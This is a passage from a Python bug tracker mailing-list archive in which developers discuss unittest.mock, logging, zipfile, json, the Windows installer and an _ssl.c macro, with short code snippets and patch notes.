[issue21238] unittest.mock.Mock should not allow you to use non-existent assert methods In-Reply-To: <1397577078.96.0.678735725627.issue21238@psf.upfronthosting.co.za> Message-ID: <1437087111.96.0.6828719767.issue21238@psf.upfronthosting.co.za> John Allison added the comment: That probably IS a joke. Why not fix the underlying issue instead? ---------- nosy: +John Allison _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 01:21:02 2015 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 16 Jul 2015 23:21:02 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record In-Reply-To: <1437073399.79.0.290504971433.issue24645@psf.upfronthosting.co.za> Message-ID: <1437088862.53.0.250656232433.issue24645@psf.upfronthosting.co.za> Vinay Sajip added the comment: I'm not sure I want to make a special case just to support what seems like a somewhat pathological use case (no offence intended). If you need this, there's no reason you couldn't subclass QueueHandler and override handle(), is there? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 01:46:19 2015 From: report at bugs.python.org (Justin Bronder) Date: Thu, 16 Jul 2015 23:46:19 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record In-Reply-To: <1437088862.53.0.250656232433.issue24645@psf.upfronthosting.co.za> Message-ID: <20150716234609.GS14415@gmail.com> Justin Bronder added the comment: On 16/07/15 23:21 +0000, Vinay Sajip wrote: > > Vinay Sajip added the comment: > > I'm not sure I want to make a special case just to support what seems like a somewhat pathological use case (no offence intended). > > If you need this, there's no reason you couldn't subclass QueueHandler and override handle(), is there? Hey, no offense taken, it wasn't even my code that tripped on this, I just got the pleasure of debugging it! Anyways, it's up to you all if you want to include this, as you mentioned, it's easy enough to work around and I've already done so. However, the reason I submitted the patch is because I believe using the I/O lock is redundant as the Queue is handling the necessary synchronization already. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 02:32:42 2015 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 17 Jul 2015 00:32:42 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record In-Reply-To: <1437073399.79.0.290504971433.issue24645@psf.upfronthosting.co.za> Message-ID: <1437093162.44.0.994342072213.issue24645@psf.upfronthosting.co.za> Vinay Sajip added the comment: I agree the lock could be seen as redundant as there are no shared data structures used by the current implementation of the enqueue and prepare methods (which are called after the lock is acquired), but users could potentially override those methods in subclasses in ways that require locking to be thread-safe. Currently, people overriding emit() [or code called from there] know that any state they manipulate there is protected by the handler lock - and this would not be the case if I implemented your suggestion. It could certainly break subclasses of QueueHandler which are out there in the wild. Note that the reference to locking is there in the Handler.handle docstring - https://docs.python.org/library/logging.html#logging.Handler.handle - so changing it would change the contract which is documented. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 06:55:14 2015 From: report at bugs.python.org (Berker Peksag) Date: Fri, 17 Jul 2015 04:55:14 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1437108914.72.0.971367208524.issue21750@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 07:10:26 2015 From: report at bugs.python.org (Berker Peksag) Date: Fri, 17 Jul 2015 05:10:26 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1437109826.73.0.26605748859.issue21750@psf.upfronthosting.co.za> Berker Peksag added the comment: LGTM. A minor comment: + def test_mock_open_reuse_issue_21750(self): We can also add an assert to check the data is actually "data" (e.g. assertEqual(f1.read(), 'data')). ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 08:53:39 2015 From: report at bugs.python.org (swanson) Date: Fri, 17 Jul 2015 06:53:39 +0000 Subject: [issue24650] Error in yield expression documentation Message-ID: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> New submission from swanson: https://docs.python.org/3/reference/expressions.html in 6.2.9. Yield expressions end of 1st paragraph: "Using a yield expression in a function?s body causes that function to be a generator." NO! As the very next sentence explains, a generator is what's returned by such a function, not the function itself. Basically, it should be sufficient to add the word "function" to the end of that sentence: "... generator function." However, this error does NOT exist in 3.0 to 3.2 - just in 3.3 to 3.6, so I suggest just using the same wording as 3.0 to 3.2: "Using a yield expression in a function definition is sufficient to cause that definition to create a generator function instead of a normal function." ---------- assignee: docs at python components: Documentation messages: 246841 nosy: docs at python, swanson priority: normal severity: normal status: open title: Error in yield expression documentation versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 09:08:45 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 07:08:45 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1437116925.23.0.16033492889.issue21750@psf.upfronthosting.co.za> Robert Collins added the comment: There are already explicit tests for that, do you want another one? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 09:16:59 2015 From: report at bugs.python.org (Berker Peksag) Date: Fri, 17 Jul 2015 07:16:59 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1437117419.39.0.0764768155832.issue21750@psf.upfronthosting.co.za> Berker Peksag added the comment: > There are already explicit tests for that Great, then the test is fine :) Thanks for writing the patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 09:33:35 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 07:33:35 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1437118415.16.0.0647844193807.issue21750@psf.upfronthosting.co.za> Robert Collins added the comment: Ok, so - good to commit to 3.4 and up? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 09:38:40 2015 From: report at bugs.python.org (swanson) Date: Fri, 17 Jul 2015 07:38:40 +0000 Subject: [issue23792] help crash leaves terminal in echo off mode In-Reply-To: <1427476163.88.0.610503717832.issue23792@psf.upfronthosting.co.za> Message-ID: <1437118720.36.0.106595895111.issue23792@psf.upfronthosting.co.za> swanson added the comment: Changing the title in case anyone else is looking for this bug. This is not raw mode. It's just that echo is turned off. It is sufficient to type (invisibly, of course): stty echo to resume normal use of the terminal. ---------- nosy: +swanson title: help crash leaves terminal in raw mode -> help crash leaves terminal in echo off mode _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 09:56:00 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 07:56:00 +0000 Subject: [issue24651] Mock.assert* API is in user namespace Message-ID: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za> New submission from Robert Collins: We had a discussion on the list sparked by the assret checking, and in it I proposed that the API would be cleaner if the asserts were module functions. e.g. rather than:: a_mock.assert_called_with(Foo) assert_called_with(a_mock, Foo) Michael has objected to this saying that the current structure is part of mock's success - but I'm filing this since a number of other core devs seemed to really like the idea. We can discuss here and if the consensus is that it wouldn't be an improvement - thats fine. OTOH if the consensus is that it is an improvement, this can serve as a memo to someone to implement the new API. ---------- components: Library (Lib) messages: 246846 nosy: rbcollins priority: normal severity: normal status: open title: Mock.assert* API is in user namespace type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 09:56:23 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 07:56:23 +0000 Subject: [issue24651] Mock.assert* API is in user namespace In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za> Message-ID: <1437119783.93.0.906547642794.issue24651@psf.upfronthosting.co.za> Changes by Robert Collins : ---------- nosy: +berker.peksag, kushal.das, michael.foord _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 10:10:49 2015 From: report at bugs.python.org (Justin Huang) Date: Fri, 17 Jul 2015 08:10:49 +0000 Subject: [issue24652] C-API Pure Embedding enhancement Message-ID: <1437120649.64.0.570799865816.issue24652@psf.upfronthosting.co.za> New submission from Justin Huang: >From the example in here: https://docs.python.org/2/extending/embedding.html#pure-embedding when directly using the example (compiling and trying with external file etc.) it doesn't work right away. Instead an extra line: PySys_SetArgv(argc, argv); must be added to get it to work. ---------- messages: 246847 nosy: Justin Huang priority: normal severity: normal status: open title: C-API Pure Embedding enhancement type: enhancement versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 10:11:12 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 17 Jul 2015 08:11:12 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <20150717081109.28246.74026@psf.io> Roundup Robot added the comment: New changeset 41d55ac50dea by Robert Collins in branch '3.4': Issue #21750: mock_open.read_data can now be read from each instance, as it https://hg.python.org/cpython/rev/41d55ac50dea New changeset 0da764c58322 by Robert Collins in branch '3.5': Issue #21750: mock_open.read_data can now be read from each instance, as it https://hg.python.org/cpython/rev/0da764c58322 New changeset 92a90e469424 by Robert Collins in branch 'default': Issue #21750: mock_open.read_data can now be read from each instance, as it https://hg.python.org/cpython/rev/92a90e469424 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 11:40:04 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 09:40:04 +0000 Subject: [issue24653] Mock.assert_has_calls([]) incorrectly passes Message-ID: <1437126004.09.0.453747784975.issue24653@psf.upfronthosting.co.za> New submission from Robert Collins: >From https://github.com/testing-cabal/mock/issues/243 from unittest import mock mmock = mock.MagicMock() mmock.foobar("baz") mmock.assert_has_calls([]) # No exception raised. Why?mmock.assert_has_calls(['x']) # Exception raised as expected. --- Traceback (most recent call last): File "tt.py", line 7, in mmock.assert_has_calls(['x']) # Exception raised as expected. File "/home/robertc/work/cpython/Lib/unittest/mock.py", line 824, in assert_has_calls ) from cause AssertionError: Calls not found. Expected: ['x'] Actual: [call.foobar('baz')] ---------- messages: 246849 nosy: rbcollins priority: normal severity: normal status: open title: Mock.assert_has_calls([]) incorrectly passes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 11:41:07 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 09:41:07 +0000 Subject: [issue24653] Mock.assert_has_calls([]) incorrectly passes In-Reply-To: <1437126004.09.0.453747784975.issue24653@psf.upfronthosting.co.za> Message-ID: <1437126067.65.0.18701286992.issue24653@psf.upfronthosting.co.za> Robert Collins added the comment: This might go back further, haven't checked 3.3, but IIRC we're only doing fixes on 3.4 up anyhow. ---------- nosy: +berker.peksag, kushal.das, michael.foord versions: +Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 13:25:20 2015 From: report at bugs.python.org (Alex Walters) Date: Fri, 17 Jul 2015 11:25:20 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437132320.41.0.721976941768.issue24642@psf.upfronthosting.co.za> Alex Walters added the comment: Having now worked with the new installer, there is nothing wrong with it, and provides sufficient scritpability, if that is a word. I only have two (and a half) thoughts on it: 1. This should be more prominently documented. The addition of the new web installer is listed in What's New, but not that the change to the new installer, and lack of the old msi installer. This is noteworthy for anyone who does scripted installs of python. 2. passing /? should list the available kay-value arguments. 2.5. The help should really be to stdout... If you are running /? on an installer executable, you are in the command prompt - no one creates a shortcut to an installer exe then modifies that shortcut to add the /? argument. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 15:48:55 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 17 Jul 2015 13:48:55 +0000 Subject: [issue24644] --help for runnable stdlib modules In-Reply-To: <1437064257.55.0.10829517472.issue24644@psf.upfronthosting.co.za> Message-ID: <1437140935.52.0.247885454133.issue24644@psf.upfronthosting.co.za> R. David Murray added the comment: Yes, that's pretty much why things are in the state they are in ;) Still, opening individual issues for help problems with individual modules is the way to go, as you did (thank you). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 16:03:39 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 17 Jul 2015 14:03:39 +0000 Subject: [issue23792] help crash leaves terminal in echo off mode In-Reply-To: <1427476163.88.0.610503717832.issue23792@psf.upfronthosting.co.za> Message-ID: <1437141819.58.0.409274373193.issue23792@psf.upfronthosting.co.za> R. David Murray added the comment: Well, not exactly. While the title was inaccurate, the real problem was the management of the subprocess, not what mode the terminal was in. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 16:10:55 2015 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 17 Jul 2015 14:10:55 +0000 Subject: [issue24635] test_typing is flaky In-Reply-To: <1436924045.27.0.387044794067.issue24635@psf.upfronthosting.co.za> Message-ID: <1437142255.7.0.438853139063.issue24635@psf.upfronthosting.co.za> Guido van Rossum added the comment: You can list me as the expert for typing.py, since I wrote it. :-) (However, until mid August I have limited availability since I'm on vacation.) This looks indeed like a test order dependency. The three failures are all basic failures where an empty set, dict or list is expected to be an instance of the corresponding ABC (AbstractSet, Mapping, Sequence) defined in typing.py. Those ABCs in turn derive (in a slightly sneaky way) from the corresponding ABCs in collections.abc. My hunch is that some other test messes with the ABC registration cache and doesn't restore it -- or typing.py's sneaky way of deriving from collections.abc has a subtle bug in it. Maybe something is calling reload(collections.abc)? I haven't done any research to confirm or deny this theory. It shouldn't be too hard to find the (probably only a handful of) tests that mess with the registration cache. ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 16:11:39 2015 From: report at bugs.python.org (Ezio Melotti) Date: Fri, 17 Jul 2015 14:11:39 +0000 Subject: [issue24644] --help for runnable stdlib modules In-Reply-To: <1437064257.55.0.10829517472.issue24644@psf.upfronthosting.co.za> Message-ID: <1437142299.22.0.0158884134067.issue24644@psf.upfronthosting.co.za> Ezio Melotti added the comment: > writing tests for the CLI are a pain too It shouldn't be particularly difficult to do it using script_helper.assert_python_{ok|failure}(), even though you could also check the argument /parsing/ separately without having to launch a subprocess. ---------- nosy: +ezio.melotti _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 16:47:12 2015 From: report at bugs.python.org (Marcin Szewczyk) Date: Fri, 17 Jul 2015 14:47:12 +0000 Subject: [issue24654] PEP 492 - example benchmark doesn't work (TypeError) Message-ID: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za> New submission from Marcin Szewczyk: Using benchmark from the section https://www.python.org/dev/peps/pep-0492/#async-await raises: Traceback (most recent call last): File "./bench.py", line 28, in timeit(abinary, 19, 30) File "./bench.py", line 23, in timeit list(gen(depth)) TypeError: 'coroutine' object is not iterable Am I missing something or is a correction needed in code or documentation? BTW, PEP 492 uses the term "plain generator", but unlike "generator-based coroutine" or "native coroutine" it's not defined in section https://www.python.org/dev/peps/pep-0492/#glossary. I think adding a definition would be beneficial. ---------- assignee: docs at python components: Documentation, asyncio messages: 246856 nosy: docs at python, gvanrossum, haypo, wodny, yselivanov priority: normal severity: normal status: open title: PEP 492 - example benchmark doesn't work (TypeError) type: enhancement versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 17:05:06 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 17 Jul 2015 15:05:06 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1437145506.62.0.00668670602687.issue24621@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: not_working.zip has 85972 extra null bytes at the end. This doesn't look as common ZIP file, and adding support such files can be considered as new feature (if it is worth to do at all). How did you get this file Yasar? ---------- type: behavior -> enhancement versions: +Python 3.6 -Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 17:47:12 2015 From: report at bugs.python.org (Alexei Romanov) Date: Fri, 17 Jul 2015 15:47:12 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1437148032.23.0.613305604408.issue24621@psf.upfronthosting.co.za> Alexei Romanov added the comment: 7z archiver could extract this ZIP archive without any problems: ~/tmp $ 7z x not_working.zip 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en_US.utf8,Utf16=on,HugeFiles=on,4 CPUs) Processing archive: not_working.zip Extracting CoordinateData.AmplitudesDataType Extracting CoordinateData.Amplitudes Extracting CoordinateData.VolumesDataType Extracting CoordinateData.Volumes Everything is Ok Files: 4 Size: 103746 Compressed: 176384 ---------- nosy: +alexei.romanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 17:55:41 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 17 Jul 2015 15:55:41 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za> Message-ID: <1437148541.66.0.101704595895.issue24646@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Do we know exactly why OS X's OpenSSL accepts it? ---------- nosy: +ned.deily, pitrou, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 18:01:20 2015 From: report at bugs.python.org (Ronald Oussoren) Date: Fri, 17 Jul 2015 16:01:20 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX In-Reply-To: <1437148541.66.0.101704595895.issue24646@psf.upfronthosting.co.za> Message-ID: <1C0168B9-3F7B-4D80-8291-F81D032AD17E@mac.com> Ronald Oussoren added the comment: The fork of OpenSSL that Apple ships also looks at the CA list in the Keychain. IIRC that cannot be disabled. BTW. Annoyingly this fork uses a private API to access the keychain, which means we couldn't optionally use this behavior when not using Apple's binaries. -- On the road, hence brief. Op 17 jul. 2015 om 17:55 heeft Antoine Pitrou het volgende geschreven: > > Antoine Pitrou added the comment: > > Do we know exactly why OS X's OpenSSL accepts it? > > ---------- > nosy: +ned.deily, pitrou, ronaldoussoren > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 19:34:00 2015 From: report at bugs.python.org (Yasar L. Ahmed) Date: Fri, 17 Jul 2015 17:34:00 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1437154440.31.0.713557534331.issue24621@psf.upfronthosting.co.za> Yasar L. Ahmed added the comment: @Serhiy These files are inside another Zip-bundle exported from a commercial control software for chromatography (UNICORN 6+ by GE Healthcare). Some of the other Zip-Files in the bundle work fine but some (like this one) don't. I'm writing a script to extract/decode the deta so I'd be happy to get them extracted via python in some way (without requiring external dependencies). Would it help to remove the offending bytes and then feed the bytes-object to ZipFile? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 20:03:37 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 17 Jul 2015 18:03:37 +0000 Subject: [issue24641] Log type of unserializable value when raising JSON TypeError In-Reply-To: <1436993372.93.0.482029912936.issue24641@psf.upfronthosting.co.za> Message-ID: <1437156217.01.0.397251881134.issue24641@psf.upfronthosting.co.za> Terry J. Reedy added the comment: A typical TypeError message use the following pattern: TypeError: 'int' object is not callable as it is the class, not the value, that is the problem. If the same is always true for the JSON TypeError, at the point of failure, then the dumps message could follow the same pattern. However, I don't know if the message *is* value independent. The SO question asked about TypeError: {'album': [u"Rooney's Lost Album"], 'title': [u'The Kids After Sunset'], 'artist': [u'Rooney']} is not JSON serializable and the OP claimed in a comment to the accepted answer that the problem was that the value objects represented as lists were not list() objects, just as '5' here is not an int() object. The JSON error code, in 3.5 at File "C:\Programs\Python35\lib\json\encoder.py", line 180, in default raise TypeError(repr(o) + " is not JSON serializable") could be expanded to check whether the string representation starts with the class name and if it does not, add "'classname' object" at the front. This would solve Madison's posted issue, but not the SO problem. (It would, however, have made it clear that the {}s represented a real dict() object and directed attention inward.) For testing, compile('','','exec') returns an object that cannot be dumped. To me, this looks more like an enhancement than bugfix, so a change might be limited to future releases. ---------- nosy: +ezio.melotti, rhettinger, terry.reedy stage: -> test needed type: -> enhancement versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 20:09:16 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 17 Jul 2015 18:09:16 +0000 Subject: [issue24649] python -mtrace --help is wrong In-Reply-To: <1437086585.22.0.878051480873.issue24649@psf.upfronthosting.co.za> Message-ID: <1437156556.81.0.498344461084.issue24649@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- nosy: +belopolsky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 20:20:16 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 17 Jul 2015 18:20:16 +0000 Subject: [issue24654] PEP 492 - example benchmark doesn't work (TypeError) In-Reply-To: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za> Message-ID: <1437157216.38.0.525144987763.issue24654@psf.upfronthosting.co.za> Terry J. Reedy added the comment: timeit(binary, 5, 3) timeit(abinary, 5, 3) gives me the same error running on Win 7 from Idle ---------- nosy: +terry.reedy stage: -> needs patch type: enhancement -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 20:31:42 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 17 Jul 2015 18:31:42 +0000 Subject: [issue24621] zipfile.BadZipFile: File is not a zip file In-Reply-To: <1436729041.05.0.00377626127771.issue24621@psf.upfronthosting.co.za> Message-ID: <1437157902.32.0.316525634923.issue24621@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > Would it help to remove the offending bytes and then feed the bytes-object to ZipFile? Yes, it will. import zipfile, struct, io with open('not_working.zip', 'rb') as f: data = f.read() i = data.rindex(b'PK\5\6') + 22 i += struct.unpack(' _______________________________________ From report at bugs.python.org Fri Jul 17 20:43:08 2015 From: report at bugs.python.org (Ezio Melotti) Date: Fri, 17 Jul 2015 18:43:08 +0000 Subject: [issue24654] PEP 492 - example benchmark doesn't work (TypeError) In-Reply-To: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za> Message-ID: <1437158588.69.0.0255147726009.issue24654@psf.upfronthosting.co.za> Changes by Ezio Melotti : ---------- nosy: +ezio.melotti _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 21:07:33 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 17 Jul 2015 19:07:33 +0000 Subject: [issue24641] Log type of unserializable value when raising JSON TypeError In-Reply-To: <1436993372.93.0.482029912936.issue24641@psf.upfronthosting.co.za> Message-ID: <1437160053.0.0.442802665691.issue24641@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think it would be better to change error message to mention the type only. Yet one argument is that the repr of affected object can be very large, while the type name usually is short enough. repr() even can raise an exception (e.g. MemoryError). ---------- nosy: +bob.ippolito, pitrou, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 21:44:14 2015 From: report at bugs.python.org (Robert Collins) Date: Fri, 17 Jul 2015 19:44:14 +0000 Subject: [issue21750] mock_open data is visible only once for the life of the class In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za> Message-ID: <1437162254.9.0.45830019377.issue21750@psf.upfronthosting.co.za> Robert Collins added the comment: The fix for this uncovered more testing / scenarios that folk use mock_open for that were not accounted for. I'm reverting it from mock, and am going to roll-forward for Python: I should have a fix in a day or two and we can fix it more completely then. https://github.com/testing-cabal/mock/issues/288 ---------- stage: commit review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 23:10:11 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 17 Jul 2015 21:10:11 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437167411.77.0.355315169669.issue24642@psf.upfronthosting.co.za> Steve Dower added the comment: > 1. This should be more prominently documented. Very true. I'll get a link to the updated docs page in there. > 2. passing /? should list the available kay-value arguments. Should be doable. I've mostly been holding off until I stop changing the arguments. At the very least, I can add a link to the doc page from here as well. > 2.5. The help should really be to stdout... Unfortunately, I don't think this one is possible as the installer is SUBSYSTEM:WINDOWS not CONSOLE. stdout is unbound by default, and the only way to bind it is to open a new console window, which doesn't really help here. Switching to SUBSYSTEM:CONSOLE is going to open a new console window every time you run it (and running by double-clicking or from a browser will be the vast majority). I can probably add a link from the front page of the installer to bring up the help page, but I wouldn't want it to be too obtrusive (maybe from the Customize Options page?) - the aim is to reduce the number of decisions for most users by having a very clean front page. There was a suggestion a while ago to generate a full command line based on the options selected in the UI, which is doable, but maybe not useful enough to justify the time and effort. I'd expect anyone capable of this sort of deployment to be able to figure out the command line for themselves though, given access to the list of possible options. ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 00:21:43 2015 From: report at bugs.python.org (Berker Peksag) Date: Fri, 17 Jul 2015 22:21:43 +0000 Subject: [issue21258] Add __iter__ support for mock_open In-Reply-To: <1397671005.18.0.0743040241878.issue21258@psf.upfronthosting.co.za> Message-ID: <1437171703.83.0.344128623376.issue21258@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 00:32:24 2015 From: report at bugs.python.org (Brian Cain) Date: Fri, 17 Jul 2015 22:32:24 +0000 Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom Message-ID: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za> New submission from Brian Cain: _ssl.c has a "convert()" macro which misuses the "do { ... } while(0)" pattern by accidentally omitting the "do". This was discovered when building with clang, it reports "while loop has empty body". Effectively, convert puts the body into gratuitous scope braces and happens to be followed by a "while(0);". If convert() were used in some context where it weren't followed by a semicolon, it might do something terribly interesting. Or, more likely, just fail to build. ---------- components: Extension Modules files: ssl_convert.patch keywords: patch messages: 246868 nosy: Brian.Cain priority: normal severity: normal status: open title: _ssl.c: Missing "do" for do {} while(0) idiom versions: Python 3.6 Added file: http://bugs.python.org/file39938/ssl_convert.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 01:13:53 2015 From: report at bugs.python.org (Martin Panter) Date: Fri, 17 Jul 2015 23:13:53 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1437174833.18.0.35799203876.issue24650@psf.upfronthosting.co.za> Martin Panter added the comment: Technically, the glossary defines the unqualified term ?generator? as the factory function: . (The 3.6 documentation should say the same but the build has been broken or out of date for a few months.) Though I agree adding the old wording would make it clearer. The 3.3 change was made in revision e02da391741f for Issue 12704. ---------- nosy: +nikratio, vadmium stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 01:17:59 2015 From: report at bugs.python.org (Brett Cannon) Date: Fri, 17 Jul 2015 23:17:59 +0000 Subject: [issue24651] Mock.assert* API is in user namespace In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za> Message-ID: <1437175079.07.0.671434787348.issue24651@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 01:49:55 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 17 Jul 2015 23:49:55 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <20150717234952.70561.70452@psf.io> Roundup Robot added the comment: New changeset 06600287f11f by Steve Dower in branch '3.5': Issue #24642: Adds installer notes and links to What's New for 3.5 https://hg.python.org/cpython/rev/06600287f11f New changeset d6c91b8242d2 by Steve Dower in branch 'default': Issue #24642: Adds installer notes and links to What's New for 3.5 https://hg.python.org/cpython/rev/d6c91b8242d2 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 02:06:47 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 00:06:47 +0000 Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom In-Reply-To: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za> Message-ID: <1437178007.53.0.0382925122717.issue24655@psf.upfronthosting.co.za> Martin Panter added the comment: The patch is certainly an improvement and could be committed. It looks like the same fault is in the 3.4 and 2.7 code. However, since the usage of this macro is limited to the four lines immediately following its definition, it might be clearer to just drop the do-while hackery in this case. (And make it CONVERT uppercase to signify that it is a macro.) ---------- nosy: +vadmium stage: -> commit review type: -> compile error versions: +Python 2.7, Python 3.4, Python 